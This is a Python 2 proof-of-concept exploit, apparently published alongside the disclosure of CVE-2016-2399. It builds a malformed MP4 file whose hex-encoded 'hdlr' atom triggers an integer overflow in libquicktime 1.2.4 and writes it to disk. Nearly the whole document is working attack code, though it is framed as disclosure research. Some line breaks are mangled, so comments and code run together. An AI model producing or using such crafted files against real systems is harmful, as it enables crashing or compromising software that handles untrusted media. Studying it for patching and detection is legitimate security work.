#!/usr/bin/env python##### - 7 February 2016 -# My last bug hunting session (*for fun and no-profit*) # has been dedicated to libquicktime#### # Author: Marco Romano - @nemux_ http://www.nemux.org# libquicktime 1.2.4 Integer Overflow## Product Page: http://libquicktime.sourceforge.net/# Description: 'hdlr', 'stsd', 'ftab' MP4 Atoms Integer Overflow# Affected products: All products using libquicktime version <= 1.2.4## CVE-ID: CVE-2016-2399 ## Disclosure part: http://www.nemux.org################ Timeline## 07 Feb 2016 Bug discovered# 17 Feb 2016 Mitre.org contacted# 17 Feb 2016 Disclosed to the project's maintainer# 23 Feb 2016 No response from the maintainer# 23 Feb 2016 Publicly disclosed ################ References## https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-2399# http://libquicktime.sourceforge.net/# http://www.linuxfromscratch.org/blfs/view/svn/multimedia/libquicktime.html # https://en.wikipedia.org/wiki/QuickTime\_File\_Format########## DISCLAIMER: It's just a PoC... it will crash something#####
import sys
import struct
import binascii
"""
There needs to be an mp4 file with these nested atoms to trigger the bug:
moov -> trak -> mdia -> hdlr
"""
hax0r_mp4 = ("0000001C667479704141414100000300336770346D70343133677036000000086D646174000001B1""6D6F6F76"#### moov atom"0000006C6D76686400000000CC1E6D6ECC1E6D6E000003E80000030200010000010000000000000000000000""000100000000000000000000000000000001000000000000000000000000000040000000000000000000000000000000""00000000000000000000000000000003000000FD756474610000001263707274000000000000FEFF0000000000126175""7468000000000000FEFF0000000000127469746C000000000000FEFF00000000001264736370000000000000FEFF0000""0000001270657266000000000000FEFF000000000012676E7265000000000000FEFF00000000001A72746E6700000000""00000000000000000000FEFF000000000018636C7366000000000000000000000000FEFF00000000000F6B7977640000""000055C400000000276C6F6369000000000000FEFF000000000000000000000000000000FEFF0000FEFF0000000000FF""616C626D000000000000FEFF0000010000000E79727263000000000000000002E4""7472616B"#### trak atom"0000005C746B686400000001CC1E6D6ECC1E6D6E00000001000000000000030000000000000000000000000001000000""000100000000000000000000000000000001000000000000000000000000000040000000000000000000000000000040""6D646961"#### mdia atom"000000206D64686400000000CC1E6D6ECC1E6D6E00003E800000300000000000000000""4E"#### hdlr atom length"68646C72"#### hdlr atom"0000000000""4141414141414141"#### our airstrip :)"0000000000000000000000""EC"#### 236 > 127 <-- overflow here and a change in signedness too"616161000000FF736F756E000000000000000000000000536F756E6448616E646C6572000000012B6D696E6600000010")
hax0r_mp4 = bytearray(binascii.unhexlify(hax0r_mp4))
def createPoC():
try:
with open("./nemux.mp4","wb") as output:
output.write(hax0r_mp4)
print "[*] The PoC is done!"
except Exception,e:
print str(e)
print "[*] mmmm!"
def usage():
print "\nUsage? Run it -> "+ sys.argv[0]
print "this poc creates an mp4 file named nemux.mp4"
print "--------------------------------------------"
print "This dummy help? "+ sys.argv[0]+" help\n"
sys.exit()if __name__ == "__main__":
try:
if len(sys.argv) == 2:
usage()else:
print "\nlibquicktime <= 1.2.4 Integer Overflow CVE-2016-2399\n"
print "Author: Marco Romano - @nemux_ - http://www.nemux.org\n\n";
createPoC();
except Exception,e:
print str(e)
print "Ok... Something went wrong..."
sys.exit()
